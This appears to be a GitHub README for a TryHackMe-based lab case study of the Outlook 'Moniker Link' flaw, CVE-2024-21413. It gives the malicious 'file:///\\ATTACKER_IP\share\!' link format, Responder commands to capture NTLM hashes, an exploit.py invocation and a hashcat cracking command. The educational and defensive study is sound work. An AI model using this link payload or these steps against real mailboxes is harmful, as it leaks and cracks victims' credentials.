CVE-2024-21413 — Moniker Link 🔗💀

Microsoft Outlook RCE + NTLM Credential Leak

⚠️ Legal Notice: This repository is exclusively for educational and security research purposes. All demonstrations were carried out in controlled and isolated environments. The use of these techniques against systems without explicit authorization is illegal and unethical.

📋 Table of Contents

• Overview
• How the Vulnerability Works
• Lab Environment
• Step-by-Step Demonstration
• Exploit Script
• Attack Diagram
• Mitigation and Defense
• CVE Breakdown
• References

🔍 Overview

CVE-2024-21413 is a critical vulnerability in Microsoft Outlook that allows an attacker to:

1. Leak NTLM credentials from the victim by forcing automatic SMB authentication
2. Execute code remotely on the target machine via a malicious link in an email

The name "Moniker Link" comes from the exploitation of Component Object Model (COM) Monikers — a Windows mechanism to reference objects by string — to bypass Outlook's protections against file:// links.

🧠 How the Vulnerability Works

The Problem: Bypassing Protected View

Normally, Outlook blocks file:// links that point to network resources, displaying a security warning (Protected View). The flaw lies in how Outlook processes URLs that contain the ! character — a Moniker separator.

The Exploitation

A malicious link in the format:

file:///\\ATTACKER_IP\share\!something

The ! character causes Outlook's parser to interpret the URL as a reference to a COM Moniker, ignoring the normal security checks. The result:

• The victim's machine automatically tries to authenticate via SMB to the attacker's server
• During this authentication, the victim's NTLM hash is transmitted
• This hash can be used in Pass-the-Hash attacks or cracked offline

Simplified Flow

Attacker sends email → Victim clicks link → Outlook processes URL with "!"
→ Bypasses Protected View → Automatic SMB connection → NTLM hash captured

🖥️ Lab Environment

To safely reproduce this case study:

Important: Use an isolated network (NAT or Host-Only in VirtualBox/VMware). Never run on real networks.

Required Tools

# Responder — SMB/HTTP listener for hash capture
sudo apt install responder

# Python 3 — to run the exploit
python3 --version

# Check connectivity between machines
ping <TARGET_IP>

🚀 Step-by-Step Demonstration

Step 1 — Identify the Attacker Machine IP

ip a | grep inet
# Note the IP of the interface that communicates with the target (e.g., 192.168.56.10)

Step 2 — Start Responder

Responder creates a fake SMB server that captures NTLM authentication hashes.

sudo responder -I eth0 -v
# Replace eth0 with your network interface

Expected output:

[+] Listening for events...
[SMB] NTLMv2-SSP Client   : 192.168.56.20
[SMB] NTLMv2-SSP Username : DESKTOP-TARGET\user
[SMB] NTLMv2-SSP Hash     : user::DESKTOP-TARGET:...

Step 3 — Run the Exploit

python3 exploit.py \
  --sender [email protected] \
  --recipient [email protected] \
  --server <EMAIL_SERVER_IP> \
  --attacker-ip 192.168.56.10

Step 4 — Wait for the Victim to Click the Link

When the victim opens the email and clicks the link, Responder automatically captures the NTLM hash. This hash can be:

• Analyzed to identify the compromised account
• Used in Pass-the-Hash for lateral authentication on the network
• Sent to Hashcat/John for offline cracking attempts:

hashcat -m 5600 hash.txt wordlist.txt

🐍 Exploit Script

See the exploit.py file for the complete commented script.

📊 Attack Diagram

See the diagrama-ataque.html file for an interactive visualization of the full attack flow.

🛡️ Mitigation and Defense

See the MITIGACAO.md file for the complete mitigation and defense guide.

📄 CVE Breakdown

See the CVE-BREAKDOWN.md file for the detailed technical analysis of the vulnerability.

📚 References

• Microsoft Security Advisory — CVE-2024-21413
• Morphisec — Moniker Link Research
• TryHackMe — Moniker Link Room
• Responder Tool — GitHub
• NTLM Authentication — Microsoft Docs
• NVD — CVE-2024-21413

👤 Author

Case study developed as part of practical training in offensive security via TryHackMe.

This project follows the principles of responsible disclosure and ethical hacking. All content herein is intended for education and improving security posture.